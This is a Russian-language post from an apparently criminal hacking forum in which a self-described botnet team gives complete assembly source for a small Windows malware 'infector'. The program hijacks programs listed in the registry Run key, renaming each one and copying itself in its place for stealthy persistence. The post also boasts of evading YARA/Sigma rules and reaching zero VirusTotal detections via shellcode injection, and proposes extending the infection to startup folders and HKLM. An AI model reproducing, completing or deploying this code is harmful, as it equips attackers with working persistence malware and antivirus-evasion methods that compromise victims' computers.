• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пишем НА АССЕМБЛЕРЕ закрепление через ПОДМЕНУ программ в автозапуске: 1.5 кб инфектор!

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Здравствуйте, уважаемые участники форума! С Вами снова команда OLYMP BOTNET! Сегодня будем писать код :)

Время чтения статьи: 5 минут
Затрачено на написание статьи: 1 час


ВВЕДЕНИЕ

Мы (а точнее, один наш разработчик, автор данной статьи) пишем на ассемблере уже больше 6-ти лет весь свой софт. Ассемблер - невероятно мощный язык программирования, который позволяет писать невероятно маленький код, невероятно гибкий код, и самый необнаруживаемый код. Его возможности безграничны, только с помощью ассемблера можно кратчайшим путём получить 0\72 на VirusTotal, написать самый гибкий шеллкод, писать патчи, крякать, писать невероятно лёгкие и крутые хуки для функций, писать красивые GUI и много чего ещё!...
Но сегодня мы затронем очень важную тему для вредоносов - закрепление. В нынешних реалиях MITRE метки захватывают практически все возможные варианты закрепления на устройстве и помечают это флагом "Persistence", что плохо влияет на билд вредоноса. В WMI уже на залезть, Winlogon грязный, .lnk в shell:startup легко обнаруживается, а \Run в реестре и подавно...

Но что мы заметили... Все Yara\Sigma правила, которые охотятся на автозапуск, построены на СОЗДАНИИ файла, а не на его изменении. Поэтому сегодня мы будем писать код на ассемблере, который будет подменять программы в автозапуске. Приятного чтения!

(Музыка для атмосферы, можете включить во время чтения)


Лучший компилятор ассемблера

Успех выполнения задачи во многом зависит от инструмента. Мы всегда использовали и будем использовать Flat Assembler. Почему именно он? Именно данный компилятор - настоящее отражение независимой разработки на ассемблере. Его разработчик - Томаш Гриштар, писал полностью на ассемблере (TASM), а затем переписал на самого себя (FASM), также разработчик написал на ассемблере полноценный и достаточно удобный редактор кода - FASMW и достаточно много другого инструментария.
Разработчики GAS, NASM и других ассемблеров - на своём же ассемблере НЕ пишут, вместо этого сами они пишут на С или других языках, что достаточно лицемерно. Также GAS, NASM и другие асмсемблеры не способны в кроссплатформенную компиляцию (FASM работает без линковщика, поэтому Вы можете генерировать ELF из-под Windows, и PE из-под Linux), что также урезает удобства. Ну, и соответственно огромный минус - линковщики. Ассемблер должен компилироваться в сыром виде. Структура формата исполняемого файла - не более, чем байты, именно FASM это и реализует. Когда NASM и GAS заставляют использовать огромные линковщики, объектные файлы, скрипты для компиляции и прочий мусор. В общем, ассемблер - это про быструю и лёгкую разработку, поэтому - FASM.

Алгоритм заражения

Как уже было выше сказано, Yara\Sigma правила построены на создании файлов. Но у 99% всех пользователей в автозапуске УЖЕ есть какие-либо программы. Так почему бы нам просто не подменить программу из автозапуска? И, скажу наперёд, это работает и успешно обходит метку "persistence"!

Мы будем читать реестр HKEY_CURRENT_USER, ветку Software\Microsoft\Windows\CurrentVersion\Run, получать значение ключей, которые там находятся (в ключах хранится путь к программе), изменять название файла программы, вместо неё копировать туда наш вредонос и в конфигурацию вредоноса вставлять путь к оригинальной программе (мы же не хотим всё сломать, верно? Поэтому запустим оригинальную программу тоже). Таким образом, получим простейший перехват автозапуска и закрепление и пользователь даже ничего не заметит.

Вот небольшая схемка работы инфектора:
lxIgmwp.png



Как видим, в данном алгоритме, в названии оригинального файла, заменяется последний символ перед расширением на "_", а затем вместо настоящего файла по нужному пути копируется вредоносный код.
У некоторых может появиться вопрос - почему не сделано заражение PE? Ответ прост - потому что обнаруживается антивирусами. Нам нужен чистый от MITRE и максимально легитимный код. Подмена - наш вариант. Идём дальше...


Пишем код на ассемблере

Итак, запускаем Sublime Text (мы используем данный редактор кодаь и вам советуем) и начинаем писать код.
Полный исходник в конце статьи!


Любой код на FASM начинается с объявления формата выходного файла. У нас это 32-х битный PE GUI. Почему 32-х битный? Потому что весит меньше, потому что совместим со старыми системами, и при этом работает на новых системах - золотая серединка.
Код:
format    PE GUI at 0x400000 on '/dev/null'
entry    start
include    'win32a.inc'

Не будем углубляться в точный синтаксис, это не статья по обучению ассемблера. Более подробно почитать можете в официальной документации - Для просмотра ссылки Войди или Зарегистрируйся
Но объясним пару моментов. FASM позволяет указать базовый адрес PE. В коде инфектора дальше мы будем вычислять смещение, по которому нам надо будет вставить строку с путём оригинальной программы - для этого желательно указать точный базовый адрес образа, для простоты вычислений. "on '/dev/null' - полностью удаляет DOS-заглушку из PE-формата. Я пишу код на Linux, поэтому у меня это /dev/null, на Windows также есть другие способы для удаления DOS-заглушки. Благодаря этому трюку - вес программы становится ещё меньше на пару сотен байт.
entry - адрес на метку с точкой входа программы.

Далее объявляем переменные времени компиляции, необходимые для обозначения максимальных размером названий ключей и путей к программы из реестра:
VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256


Самое главное - секции. PE состоит из секций (в ELF Linux - сегменты), в них могут храниться данные или код, а могут - и данные, и код.
Секция выравнивается по определённому размеру, а поэтому разделение кода, импорта, ресурсов и данных на секции - увеличивает вес программы, поэтому мы вам демонстрируем ещё один трюк - будем писать всё в одной секции, это также намного уменьшит вес программы.

Объявляем секцию:
Код:
section    '' readable writeable executable
    start:


И внутри секции размещаем нашу метку на точку входа, соответственно. Флаги секции - readable, writeable, executable. В данной секции будет также размещена структура импорт-таблицы, некоторые могут спросить, почему не указан флаг "import". Ответ - потому что импорт-таблица хранится в DATA_DIRECTORY, то есть это "подсекция" внутри секции. И на самом деле ей флаги не нужны (кроме чтения и записи). Аналогично для ресурсов, TLS и других DATA_DIRECTORY структур - ВСЕ они могут быть объявлены в одной секции и в ЛЮБОМ месте.

Для реализации алгоритма мы будем использовать WinAPI, поэтому в конце секции объявляем импорт-таблицу и импортируем нужные функции:
Код:
data    import
        library    kernel32, 'kernel32.dll',\
            advapi32, 'advapi32.dll',\
            user32, 'user32.dll'
        import    user32,\
            MessageBox, 'MessageBoxA'
        include    'api/advapi32.inc'
        include    'api/kernel32.inc'
    end    data


Здесь я могу также подметить и само преимущество FASM - импорт-таблица генерируется самим компилятором, без внешних линковщиков. Именно поэтому код может компилироваться кроссплатформенно - компилятор не требует объектников (kernel32.lib и др.), он просто записывает статические структуры в PE-формат, которые вдальнейшем импортирует PE-загрузчик Windows. Этим и прекрасен выбранный компилятор - простота и минималистичность.

ПОСЛЕ импорт-таблицы объявим переменную, в которой вдальнейшем будет храниться путь к оригинальной программе:
infectedWith:

А затем в начале (после start) начинаем писать первые строчки кода - проверяем, была ли программа инфицирована, или же это несанкционированный запуск:
Код:
cmp    dword[infectedWith], 0
je    .infect
; ...
; Исполнение из автозапуска
.infect:
; Не из автозапуска, надо заражать



Забегая вперёд, напишем сразу реализацию в случае запуска с автозапуска - просто выведем MessageBox и запустим оригинальную программу через WinExec:
Код:
cmp    dword[infectedWith], 0
je    .infect

push    0
call    @f
db    'OLYMPO!', 0
@@:
call    @f
db    'OLYMPO!', 0
@@:
push    0
call    dword[MessageBox]

push    SW_HIDE
push    infectedWith
call    dword[WinExec]

jmp    .exit
.infect:



Готово! В коде вы также можете наблюдать ещё один трюк - call @f для локальных статических строк. Дабы не объявлять кучу переменных в коде, таким способом мы можем объявлять "быстрые" строки. call @f - положит в стек адрес на следующие байты и прыгнет на метку @@. Таким образом, в стек положится адрес на строку. Красиво, не так ли?

Переходим к главной части - инфицирование автозапуска.

Для начала, выделим из стека место под локальные переменные:
Код:
sub    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
mov    esi, esp
lea    edi, dword[esp+VALUEDATA_SIZE]
xor    ebx, ebx

В esi у нас хранится адрес на ПУТЬ к программе. В edi - адрес на название ключа. Дополнительно выделяем ещё VALUEDATA_SIZE - под второй путь к программе, изменённый (для подмены), а в ebx - счётчик для перечисления ключей в реестре.

Открываем реестр по пути автозапуска:
Код:
push    hKey
push    KEY_READ
push    0
call    @f
db    'Software\Microsoft\Windows\CurrentVersion\Run', 0
@@:
push    HKEY_CURRENT_USER
call    dword[RegOpenKeyExA]
test    eax, eax
jnz    .exit

В случае неудачного открытия - просто закрываем программу. Дальше пишем цикл с хождением по ключам:
Код:
.infectItems:
push    VALUENAME_SIZE
mov    ecx, esp

push    VALUEDATA_SIZE
push    esp
push    esi
push    infectedWith
push    0
push    ecx
push    edi
push    ebx
push    dword[hKey]
call    dword[RegEnumValue]
pop    ebp
add    esp, 4

test    eax, eax
jnz    .noMoreItems

; INFECT ...

add ebx, 1
jmp .infectItems
.noMoreItems:

push    dword[hKey]
call    dword[RegCloseKey]

add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call    dword[ExitProcess]

Тут мы используем функцию RegEnumValue WinAPI для перечисления ключей. После окончания перечисления - выходим на метку .noMoreItems.

А теперь реализуем алгоритм заражения. Полный код цикла:
Код:
.infectItems:
push    VALUENAME_SIZE
mov    ecx, esp


push    VALUEDATA_SIZE
push    esp
push    esi
push    infectedWith
push    0
push    ecx
push    edi
push    ebx
push    dword[hKey]
call    dword[RegEnumValue]
pop    ebp
add    esp, 4


test    eax, eax
jnz    .noMoreItems

1. Проверяем путь файла. В ebp у нас лежит длина значения ключа (путь к программе). По esi+ebp - мы читаем конец строки. Мы проверяем, чтобы программа была .exe, и чтобы у неё имя файла уже не заканчивалось с "_" - дабы не сломать алгоритм:
Код:
cmp    dword[esi+ebp-5], '.exe'
jne    .skip
cmp    dword[esi+ebp-6], '_'
je    .skip


(Генерируем новое название файла - подменяем последний символ на "_"):
Код:
push    edi
lea    edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
push    esi
mov    ecx, ebp
rep    movsb
pop    esi
mov    byte[edi-6], '_'
pop    edi

2. Изменяем название оригинального файла, подставляем в последний символ "_", и переименовываем (функция MoveFile):
Код:
lea    eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
push    eax
push    esi
call    dword[MoveFile]
cmp    eax, 1
jne    .skip


3. Получаем путь к самому себе (GetModuleFileName) и копируемся вместо оригинальной программы (CopyFile), под названием оригинальной программы:

Код:
sub    esp, 1024
mov    eax, esp
push    1024
push    eax
push    0
call    dword[GetModuleFileName]

mov    eax, esp
push    0
push    esi
push    eax
call    dword[CopyFile]
add    esp, 1024


4. Открываем нашу скопированную копию (CreateFile), устанавливаем позицию на переменную infectedWith (SetFilePointer) и записываем туда путь к оригинальной программе (WriteFile):
Код:
push    edi

push    0
push    0
push    OPEN_EXISTING
push    0
push    0
push    GENERIC_WRITE
push    esi
call    dword[CreateFile]
cmp    eax, INVALID_HANDLE_VALUE
je    .failedWrite
mov    edi, eax

push    FILE_BEGIN
push    0
lea    eax, dword[RVA infectedWith-0xE00]
push    eax
push    edi
call    dword[SetFilePointer]

push    0
push    0
push    ebp
push    esi
push    edi
call    dword[WriteFile]

push    edi
call    dword[CloseHandle]
.failedWrite:

pop    edi

.skip:
add    ebx, 1
jmp    .infectItems


.noMoreItems:
push    dword[hKey]
call    dword[RegCloseKey]


add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
.exit:
call    dword[ExitProcess]


5. Закрываем дескриптор на свою копию (CloseHandle)
6. Повторяем это со всеми ключами
По окончанию - выравниваем стек (на самом деле необязательно) и выходим (ExitProcess).
Код:
format    PE GUI at 0x400000 on '/dev/null'
entry    start
include    'win32a.inc'

VALUEDATA_SIZE = 1024
VALUENAME_SIZE = 256

section    '' readable writeable executable
   
    start:
        cmp    dword[infectedWith], 0
        je    .infect


        push    0
        call    @f
        db    'OLYMPO!', 0
        @@:
        call    @f
        db    'OLYMPO!', 0
        @@:
        push    0
        call    dword[MessageBox]


        push    SW_HIDE
        push    infectedWith
        call    dword[WinExec]

        jmp    .exit
        .infect:

        sub    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
        mov    esi, esp
        lea    edi, dword[esp+VALUEDATA_SIZE]
        xor    ebx, ebx

        push    hKey
        push    KEY_READ
        push    0
        call    @f
        db    'Software\Microsoft\Windows\CurrentVersion\Run', 0
        @@:
        push    HKEY_CURRENT_USER
        call    dword[RegOpenKeyExA]
        test    eax, eax
        jnz    .exit

        .infectItems:
        push    VALUENAME_SIZE
        mov    ecx, esp

        push    VALUEDATA_SIZE
        push    esp
        push    esi
        push    infectedWith
        push    0
        push    ecx
        push    edi
        push    ebx
        push    dword[hKey]
        call    dword[RegEnumValue]
        pop    ebp
        add    esp, 4

        test    eax, eax
        jnz    .noMoreItems



        cmp    dword[esi+ebp-5], '.exe'
        jne    .skip
        cmp    dword[esi+ebp-6], '_'
        je    .skip

        push    edi
        lea    edi, dword[esp+4+VALUEDATA_SIZE+VALUENAME_SIZE]
        push    esi
        mov    ecx, ebp
        rep    movsb
        pop    esi
        mov    byte[edi-6], '_'
        pop    edi


        lea    eax, dword[esp+VALUEDATA_SIZE+VALUENAME_SIZE]
        push    eax
        push    esi
        call    dword[MoveFile]
        cmp    eax, 1
        jne    .skip

        sub    esp, 1024
        mov    eax, esp
        push    1024
        push    eax
        push    0
        call    dword[GetModuleFileName]


        mov    eax, esp
        push    0
        push    esi
        push    eax
        call    dword[CopyFile]
        add    esp, 1024



        push    edi

        push    0
        push    0
        push    OPEN_EXISTING
        push    0
        push    0
        push    GENERIC_WRITE
        push    esi
        call    dword[CreateFile]
        cmp    eax, INVALID_HANDLE_VALUE
        je    .failedWrite
        mov    edi, eax


        push    FILE_BEGIN
        push    0
        lea    eax, dword[RVA infectedWith-0xE00]
        push    eax
        push    edi
        call    dword[SetFilePointer]


        push    0
        push    0
        push    ebp
        push    esi
        push    edi
        call    dword[WriteFile]


        push    edi
        call    dword[CloseHandle]
        .failedWrite:

        pop    edi

        .skip:
        add    ebx, 1
        jmp    .infectItems

        .noMoreItems:

        push    dword[hKey]
        call    dword[RegCloseKey]



        add    esp, VALUEDATA_SIZE+VALUENAME_SIZE+VALUEDATA_SIZE
        .exit:
        call    dword[ExitProcess]

    hKey:        dd    0

    data    import

        library    kernel32, 'kernel32.dll',\
            advapi32, 'advapi32.dll',\
            user32, 'user32.dll'

        import    user32,\
            MessageBox, 'MessageBoxA'

        include    'api/advapi32.inc'
        include    'api/kernel32.inc'

    end    data



    infectedWith:

Вес нашего инфектора - 1.5 килобайта. Считаю, что это отличный результат:

gevQYyT.png



СКАНИРУЕМ НА VIRUSTOTAL

А теперь самое интересное - проверим, пропала ли метка "persistence" на VirusTotal. Проверяем свои образцы ИСКЛЮЧИТЕЛЬНО на VirusTotal, мы же не девочки :)
И видим следующее - метки "persistence" нет!

RTK80hu.png



lbZDBbv.png


Видим 18 обнаружений, но ничего. Немного поправим код - перепишем его на шеллкод и сделаем инъекицю внутрь легитимной программы.
Получаем 0 и отсутствие метки "persistence"! Идеальнейшая чистота. Ассемблер - СИЛА!

iw9rN2Y.png



ЗАКЛЮЧЕНИЕ

В заключение могу лишь добавить предложения по улучшению кода. Можно добавить также инфицирование внутри "shell:startup". А при наличии прав админа - можно также затронуть пути в HKEY_LOCAL_MACHINE. Также можно прочитать часто используемые программы, и заразить их. Всё это в сумме даст мощное закрепление на устройстве без триггеров антивирусов.
Спасибо за прочтение! Дайте знать, если Вам нравятся наши статьи.
 
Activity
So far there's no one here
Сверху Снизу